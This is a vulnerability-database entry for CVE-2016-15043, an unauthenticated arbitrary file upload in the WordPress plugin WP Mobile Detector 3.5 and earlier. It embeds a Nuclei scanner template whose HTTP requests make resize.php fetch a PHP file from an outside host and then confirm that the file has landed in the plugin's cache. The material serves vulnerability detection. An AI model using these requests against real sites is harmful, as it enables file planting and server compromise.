WP Mobile Detector <= 3.5 - Unrestricted File Upload

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType

Unrestricted file upload in WP Mobile Detector <=3.5 due to missing file type validation.

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2016-15043	29 May 201815:50	–	circl
CNNVD	WordPress plugin WP Mobile Detector 代码问题漏洞	19 Jul 202500:00	–	cnnvd
CVE	CVE-2016-15043	19 Jul 202509:23	–	cve
Cvelist	CVE-2016-15043 WP Mobile Detector <= 3.5 - Arbitrary File Upload	19 Jul 202509:23	–	cvelist
EUVD	EUVD-2016-10788	7 Oct 202500:30	–	euvd
NVD	CVE-2016-15043	19 Jul 202510:15	–	nvd
OSV	CVE-2016-15043	19 Jul 202510:15	–	osv
Positive Technologies	PT-2025-30129	19 Jul 202500:00	–	ptsecurity
RedhatCVE	CVE-2016-15043	21 Jul 202510:11	–	redhatcve
VulnCheck KEV	VulnCheck KEV: CVE-2016-15043	3 Jun 201600:00	–	vulncheck_kev

Source	Link
github	www.github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
pluginvulnerabilities	www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/
wpscan	www.wpscan.com/vulnerability/e4739674-eed4-417e-8c4d-2f5351b057cf/

id: CVE-2016-15043

info:
  name: WP Mobile Detector <= 3.5 - Unrestricted File Upload
  author: D3nverNg,thewindghost
  severity: critical
  description: |
    WP Mobile Detector plugin for WordPress <= 3.5 contains an unrestricted file upload vulnerability caused by missing file type validation in resize.php, letting unauthenticated attackers upload arbitrary files, potentially leading to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of WP Mobile Detector plugin.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
    - https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/
    - https://wpscan.com/vulnerability/e4739674-eed4-417e-8c4d-2f5351b057cf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-15043
    epss-score: 0.10032
    epss-percentile: 0.95017
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2016,wordpress,wp,wp-plugin,file-upload,rce,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://{{interactsh-url}}/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "image/gif")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/cache/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - regex('<body>(.*?)</body>', body)
        condition: and
# digest: 4a0a00473045022063f276684542546208cffc088bdb5448a0444a45d6e7abca56ffa24a872b42b6022100ef95ffe22ffe26048994c0b6ecfa82de9028f448f9125bf3cb9a84f9469f86cf:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6.3Medium risk

Vulners AI Score6.3

CVSS 3.19.8

EPSS0.10032

SSVC